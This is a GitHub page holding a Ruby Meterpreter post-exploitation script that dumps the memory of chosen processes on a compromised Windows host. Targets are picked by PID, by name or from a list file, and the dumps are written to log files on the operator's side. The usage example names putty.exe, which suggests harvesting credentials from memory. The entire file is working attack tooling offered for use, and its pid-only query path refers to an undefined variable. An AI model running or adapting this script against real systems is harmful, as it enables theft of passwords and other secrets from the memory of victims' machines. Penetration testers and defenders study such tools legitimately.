-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathprocess_memdump.rb
193 lines (178 loc) · 5.44 KB
/
process_memdump.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
# Note: Script is based on the paper Neurosurgery With Meterpreter by
# Colin Ames (amesc[at]attackresearch.com) David Kerb (dkerb[at]attackresearch.com)
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
require 'fileutils'
@client = client
pid = nil
name = nil
toggle = nil
resource = nil
query = false
@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-p" => [ true, "PID of process to dump."],
"-n" => [ true, "Name of process to dump."],
"-r" => [ true, "Text file wih list of process names to dump memory for, one per line."],
"-t" => [ false, "toggle location information in dump."],
"-q" => [false, "Query the size of the Process that would be dump in bytes."]
)
def usage
print_line("")
print_line("USAGE:")
print_line("EXAMPLE: run process_memdump putty.exe")
print_line("EXAMPLE: run process_memdump -p 1234")
print_line(@exec_opts.usage)
raise Rex::Script::Completed
end
@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-p"
pid = val
when "-n"
name = val
when "-t"
toggle = true
when "-q"
query = true
when "-r"
list = val
resource = ""
if not ::File.exists?(list)
raise "Command List File does not exists!"
else
::File.open(list, "r").each_line do |line|
resource << line
end
end
end
}
# Function for finding the name of a process given it's PID
def find_procname(pid)
name = nil
@client.sys.process.get_processes.each do |proc|
if proc['pid'] == pid.to_i
name = proc['name']
end
end
return name
end
# Find all PID's for a given process name
def find_pids(name)
proc_pid = []
@client.sys.process.get_processes.each do |proc|
if proc['name'].downcase == name.downcase
proc_pid << proc['pid']
end
end
return proc_pid
end
# Dumps the memory for a given PID
def dump_mem(pid,name, toggle)
host,port = @client.session_host, session.session_port
# Create Filename info to be appended to created files
filenameinfo = "_#{name}_#{pid}_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'proc_memdump')
# Create the log directory
::FileUtils.mkdir_p(logs)
#Dump file name
dumpfile = logs + ::File::Separator + host + filenameinfo + ".dmp"
print_status("\tDumping Memory of #{name} with PID: #{pid.to_s}")
begin
dump_process = @client.sys.process.open(pid.to_i, PROCESS_READ)
rescue
print_error("Could not open process for reading memory!")
raise Rex::Script::Completed
end
# MaximumApplicationAddress for 32bit or close enough
maximumapplicationaddress = 2147418111
base_size = 0
while base_size < maximumapplicationaddress
mbi = dump_process.memory.query(base_size)
# Check if Allocated
if mbi["Available"].to_s == "false"
file_local_write(dumpfile,mbi.inspect) if toggle
file_local_write(dumpfile,dump_process.memory.read(mbi["BaseAddress"],mbi["RegionSize"]))
print_status("\tbase size = #{base_size/1024}")
end
base_size += mbi["RegionSize"]
end
print_status("Saving Dumped Memory to #{dumpfile}")
end
# Function to query process Size
def get_mem_usage( pid )
p = @client.sys.process.open( pid.to_i, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ )
if( p )
begin
if( not @client.railgun.get_dll( 'psapi' ) )
@client.railgun.add_dll( 'psapi' )
end
# http://msdn.microsoft.com/en-us/library/ms683219%28v=VS.85%29.aspx
if( not @client.railgun.psapi.functions['GetProcessMemoryInfo'] )
@client.railgun.psapi.add_function( 'GetProcessMemoryInfo', 'BOOL', [
[ "HANDLE", "hProcess", "in" ],
[ "PBLOB", "ProcessMemoryCounters", "out" ],
[ "DWORD", "Size", "in" ]
]
)
end
r = @client.railgun.psapi.GetProcessMemoryInfo( p.handle, 72, 72 )
if( r['return'] )
pmc = r['ProcessMemoryCounters']
# unpack the PROCESS_MEMORY_COUNTERS structure (http://msdn.microsoft.com/en-us/library/ms684877%28v=VS.85%29.aspx)
# Note: As we get the raw structure back from railgun we need to account
# for SIZE_T variables being 32bit on x86 and 64bit on x64
mem = nil
if( @client.platform =~ /win32/ )
mem = pmc[12..15].unpack('V').first
elsif( @client.platform =~ /win64/ )
mem = pmc[16..23].unpack('Q').first
end
return (mem/1024)
end
rescue
p "Exception - #{$!}"
end
p.close
end
return nil
end
# Main
if client.platform =~ /win32|win64/
if resource
resource.each do |r|
next if r.strip.length < 1
next if r[0,1] == "#"
print_status("Dumping memory for #{r.chomp}") if not query
pids = find_pids(r.chomp)
if pids.length == 0
print_status("\tProcess #{r.chomp} not found!")
next
end
pids.each do |p|
print_status("\tsize for #{r.chomp} in PID #{p} is #{get_mem_usage(p)}K") if query
dump_mem(p,r.chomp,toggle) if not query
end
end
elsif pid
name = find_procname(pid)
print_status("\tsize for #{name} in PID #{pid} is #{get_mem_usage(p)}K") if query
print_status("Dumping memory for #{name}") if not query
dump_mem(pid,name,toggle) if not query
elsif name
print_status("Dumping memory for #{name}") if not query
find_pids(name).each do |p|
print_status("\tsize for #{name} in PID #{p} is #{get_mem_usage(p)}K") if query
dump_mem(p,name,toggle) if not query
end
else
usage
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end